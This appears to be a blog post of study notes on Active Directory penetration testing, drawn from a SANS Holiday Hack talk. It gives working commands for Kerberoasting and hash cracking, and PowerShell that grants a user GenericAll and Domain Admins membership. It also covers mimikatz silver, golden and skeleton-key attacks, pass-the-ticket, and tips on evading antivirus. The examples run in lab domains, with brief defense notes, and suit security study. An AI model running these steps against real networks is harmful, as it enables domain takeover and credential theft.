Skip to content

Kerberoasting & Other AD Pentesting Processes

kerberoasting

This is essentially just notes taken as a result of listening to informative SANS Holiday Hack Challenge 2021 speaker, Chris Davis on Active Directory Penetration Testing and then venturing down the rabbit hole to learn more. The video is a great introduction, but these notes also include take-aways from some of other videos Chris mentioned, including one by Tim Medin that's linked below in "Kerberoasting Tools." All very informative info.

Tools

Bloodhound

Bloodhound Intro How-To video by Conda
Sharphound (PowerShell)
Sharphound (C#)

Kerberoasting Tools

Kerberoasting Talk by Tim Medin
C# Kerberoasting Tool Rubeus
Invoke-Kerberoast (PowerShell)
GetUserSPNs.py by impacket (Python)

Hashcat

Hashcat

PowerView/PowerSploit

PowerView
PowerSploit

Custom Code Snippets from Chris

Code Snippets
You can read the DACL of an AD group object using:

# Can Use Powerview: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
# Or:
$ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
# Or:
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$domainDirEntry.get_ObjectSecurity().Access
In the below example, the "GenericAll" permission for the "chrisd" user to the "Domain Admins" group if the user your running it under has the "WriteDACL" permission on the "Domain Admins" group.
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$username = "chrisd"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("vulns.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
After giving "GenericAll" permissions over the "Domain Admins" group, the below snippet would add the chrisjd account to the "Domain Admins" group:
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$username = "chrisd"
$password = "Password!@12"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("vulns.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Added bonus, here is how you can Enter-PSSession into a remote computer:
$password = ConvertTo-SecureString "Password!@12" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("vulns.local\chrisd", $password)
Enter-PSSession -ComputerName WIN-4JFNT305Q5J.vulns.local -Credential $creds -Authentication Negotiate

Additional Commands Used During Talk

Invoke-BloodHound -CollectionMethod All

py -3 GetUserSPNs.py -outputfile spns.txt -dc-ip 10.128.96.101 vulns.local/chrisd:'Password!@12' -request 

.\hashcat.exe -m 13100 -a 0 .\spns.txt --potfile-disable -r .\rules\best64.rule --force -O -w 4 --opencl-device-types 1,2 .\rockyou.txt

runas /noprofile /user:vulns_svc@vulns.local cmd

echo $env:LOGONSERVER
echo %LOGONSERVER%

net view \\WIN-4JFNT305Q5J

runas /noprofile /user:remote_employee@vulns.local cmd

Additional Resources

Sean Metcalf https://adsecurity.org/p?=2293 https://adsecurity.org/p?=2011

Background

When providing penetration testing, the hiring entity will sometimes provide you with a low-level user account for testing purposes to see if you are able to access areas to which you should not have access. So in this scenario, we start with a basic user account.

The process will utilize both the Windows VM used to connect to the corporate system and a Kali Linux VM for accessing tools that are unlikely to be on the corporate system.

Environment

gci env:USERDNSDOMAIN

Tools Added to the low-level user account's Home Directory for Pentest

  • SharpHound.ps1
  • GetUserSPNs.py
  • Invoke-Kerberoast.ps1 (not used in this demo, but an option)

BloodHound - SharpHound

Endpoint Security

If your system has good endpoint security, you will need to modify and recompile SharpHound to avoid AV detection.

In PowerShell:

Import-Module ./SharpHound.ps1
If account is domain-joined:
Invoke-Bloodhound -CollectionMethod All
After running, this produces a zip file in the pwd and we can move that over to the Kali Linux VM for viewing.

In Kali:

Open the zipfiles in BloodHound
Prebuilt Query: Shortest Path to Domain Admins for Kerberoasting Users
Clicking this runs the query and displays the users connected to Domain Admins and their relevent permissions. WriteDacl would be a permission that would be helpful so if we right-click on WriteDacl, we can then click Abuse Info for a step-by-step process for how to abuse it to get to Domain Admins.

Next, we need to find a list of kerberoastable accounts to see how we can get to the user who has the WriteDacl permissions.
Prebuilt Query: List All Kerberoastable Accounts
Running this query provides us with our account(s) for the next step back on the Windows VM.

Kerberoasting for Escalation and Pivoting

Requirement: Access as any user.
  • User accounts are crackable, computer accounts have too much entropy so we only want user accounts. Tools like Rubeus and GetUserSPNs.py will pull just the user accounts. Before we can do that though, we need to know the domain controller information:
    echo $env:LOGONSERVER
    
    And then let's have a look at the shares:
    net view \\BASGIATH
    
    Now that we know the DC and we have an idea of which shares might be useful, we can move on to the actual kerberoasting by running the following script to request tickets:

Option 1: impacket tool GetUserSPNs.py

GetUserSPNs.py --outputfile krb.hash --dc-ip 10.10.10.2 basgiath.local/jesinia:Scr1beForever
Description of Command

"Run the GetUserSPNs script on the domain controller 10.10.10.2 for the network basgiath.local with the username and password of jesinia:Scr1beForever and put the results into a file called krb.hash. This does assume that python is present on the computer.

  • Tickets can be requested from the domain controller so long as the SPN mapping exists. This means that the servers for which the tickets are intended do not even need to be on in order to request the tickets. It is the domain controller issuing the tickets, not the respective servers.
Defending Against Kerberoasting

Monitoring. Look for atypical or too many ticket requests.
Use Honey Tickets
A good password policy that makes passwords harder to crack.

Option 2: Rubeus

Option 3: Invoke-Kerberoast.ps1

Option 4: Convert py script to .exe

Hashcat

Note

When you don't have OpenCL, use option --force

hashcat --force -m 13100 -a 0 krb.hash passwords.txt

Silver Ticket for Persistence and Escalation

Requirement: Service hash.

Now we can generate the hash in order to sign tickets. This bypasses the KDC (key distribution center) for a TGS (ticket granting service). This forged ticket is known as a Silver Ticket - you can only target this specific service account.

Mimikatz

mimichacho

  1. Obtain the user's SID.
    whoami /user 
    
    This indicates jesinia's RID is 1001.
  2. Lets get the SIDs of the user accounts on the domain to narrow down the user who has webserver1 access:
    wmic useraccount get sid,name
    
  3. Run mimikatz
    mimikatz.exe
    
  4. Within mimikatz
    kerberos::golden /domain:basgiath.local /sid:S-1-5-21-123456789-123456789-098765432 /target:webserver1 /rc4:<passwordhash> /ptt /groups:504 /id:1009 /user:jesinia
    
    The RID in the command belongs to user markham, a user that has access to the webserver. Also, jesinia's account does not have any admin permissions. This command can be executed without elevated privileges. Execution loads the information into memory.
  5. Attempt to authenticate into the webserver as jesinia and boom, it let's jesinia in even though prior to this, jesinia did not have access. The system knows that jesinia is the user who logged in, but it also recognizes that the RID that logged in was markham's. This process, however, did not give jesinia admin rights.

  6. To clear all the tickets from memory:

    klist purge
    
    If we need admin access, we can modify the previous mimikatz command to include the admin group number(s) and use jesinia's RID:
    mimikatz # kerberos::golden /domain:basgiath.local /sid:S-1-5-21-123456789-123456789-098765432 /target:webserver1 /rc4:<passwordhash> /ptt /groups:504,501,502,503 /id:1001 /user:jesinia
    
    This gives jesinia admin access. Note: the RID and user do not have to be real; you can put in whatever numbers and names you are comfortable with showing up in the logs. In fact, the username could end up being a SQLi opportunity if it were to be something like /user:"select * from "

Defending Against Silver Ticket

Monitoring: Missing TGS-REQ

Pass-the-Ticket for Pivoting

Requirement: Access as user.

Reuse a ticket that's already been generated on a compromised system.
1. Start mimikatz

mimikatz.exe
2. Within Mimikatz
kerberos::tgt
3. Within Mimikatz
kerberos::list /export
4. Reauthenticate on same system or different system with the exported ticket
kerberos::list
5. Pass-the-Ticket
kerberos::ptt 0-40e100000-Administrator@krbtgt....
6. In new terminal (or target host):
psexec \\DC01 cmd.exe
7. Whodis
whoami
<domain>\Administrator
8. Whodat
echo %COMPUTERNAME%

Skeleton Key

A persistence attack that "unlocks" all systems in a domain. Only works for Kerberos RC4 encryption.
1. mimikatz.exe
2. privilege::debug
3. misc::skeleton

Note: You need to change the password hash and recompile the tool to change that default password so that it is NOT "mimikatz." #OPSEC Also, make sure you restart after to wipe memory so that the skeleton key doesn't stay in memory after a pentest.

Golden Ticket for Persistence & Pivoting

Requirement: Compromised entire domain.

Instead of generating the hash in order to sign tickets once we have the password, we can instead send the encrypted krbtgt hash to the KDC/DC for our TGS-REQ to get a ticket for service. This bypasses the initial need to request the TGT from the KDC/DC and allows us to request tickets for all services. The difference in the command is that the password hash is for the krbtgt rather than the service ticket:

mimikatz # kerberos::golden /domain:basgiath.local /sid:S-1-5-21-123456789-123456789-098765432 /target:webserver1 /rc4:<krbtgtpasswordhash> /ptt /groups:504,501,502,503 /id:1001 /user:jesinia

Responding to this Compromise

Defenders have to rotate the krbtgt account password twice, but not too quickly or risk breaking domain.

Defending Against Golden Ticket

Monitoring.